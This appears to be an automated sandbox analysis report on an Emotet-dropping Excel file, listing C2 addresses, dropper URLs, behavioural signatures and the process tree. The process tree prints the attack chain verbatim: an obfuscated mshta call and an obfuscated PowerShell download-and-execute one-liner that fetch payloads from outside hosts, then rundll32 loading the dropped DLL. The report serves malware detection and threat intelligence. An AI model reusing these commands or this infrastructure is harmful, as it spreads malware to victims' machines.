Analysis

  • max time kernel
    108s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    18/01/2022, 12:28

General

  • Target
    9cebcae891c79194e3c1d821b5985057.xls
  • Size 128KB
  • Sample220118-pncpwsbcbr
  • SHA256 21750a942c925484d6e4e5fa44b8e8d795dcda94557066150d3f6a03e567d98e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9cebcae891c79194e3c1d821b5985057.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:236
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3320
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2320
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1436
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cxxqzhtapkwrhn\kpveoepfhbs.hwq",qnIAGOzmAdNXunW
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:3488
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cxxqzhtapkwrhn\kpveoepfhbs.hwq",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:212
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3256 -s 1724
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4036
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 184 -p 3256 -ip 3256
    1⤵
    • Suspicious use of NtCreateProcessExOtherParentProcess
    • Suspicious use of WriteProcessMemory
    PID:2592

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/212-672-0x0000000005030000-0x0000000005056000-memory.dmp

        memory/212-670-0x0000000004F50000-0x0000000004F76000-memory.dmp

        memory/212-668-0x0000000004E20000-0x0000000004E46000-memory.dmp

        memory/212-666-0x0000000004D30000-0x0000000004D56000-memory.dmp

        memory/212-664-0x0000000004C50000-0x0000000004C76000-memory.dmp

        memory/212-660-0x00000000048F0000-0x0000000004916000-memory.dmp

        memory/212-658-0x0000000004380000-0x00000000043A6000-memory.dmp

        memory/236-178-0x0000016DC35C3000-0x0000016DC35C5000-memory.dmp

        memory/236-177-0x0000016DC35C0000-0x0000016DC35C2000-memory.dmp

        memory/236-268-0x0000016DDC050000-0x0000016DDC094000-memory.dmp

        memory/236-179-0x0000016DC35C6000-0x0000016DC35C8000-memory.dmp

        memory/236-641-0x0000016DDC120000-0x0000016DDC196000-memory.dmp

        memory/236-174-0x0000016DDBB20000-0x0000016DDBB42000-memory.dmp

        memory/1436-644-0x0000000004770000-0x0000000004796000-memory.dmp

        memory/1436-646-0x0000000004850000-0x0000000004876000-memory.dmp

        memory/1436-649-0x0000000004A50000-0x0000000004A76000-memory.dmp

        memory/1436-651-0x0000000004AB0000-0x0000000004AD6000-memory.dmp

        memory/1436-654-0x0000000004C20000-0x0000000004C46000-memory.dmp

        memory/1808-134-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-130-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-138-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

        memory/1808-137-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

        memory/1808-133-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-132-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-131-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-694-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-695-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-696-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/1808-697-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

        memory/2320-638-0x0000000004180000-0x00000000041A6000-memory.dmp

        memory/3488-655-0x0000000004870000-0x0000000004896000-memory.dmp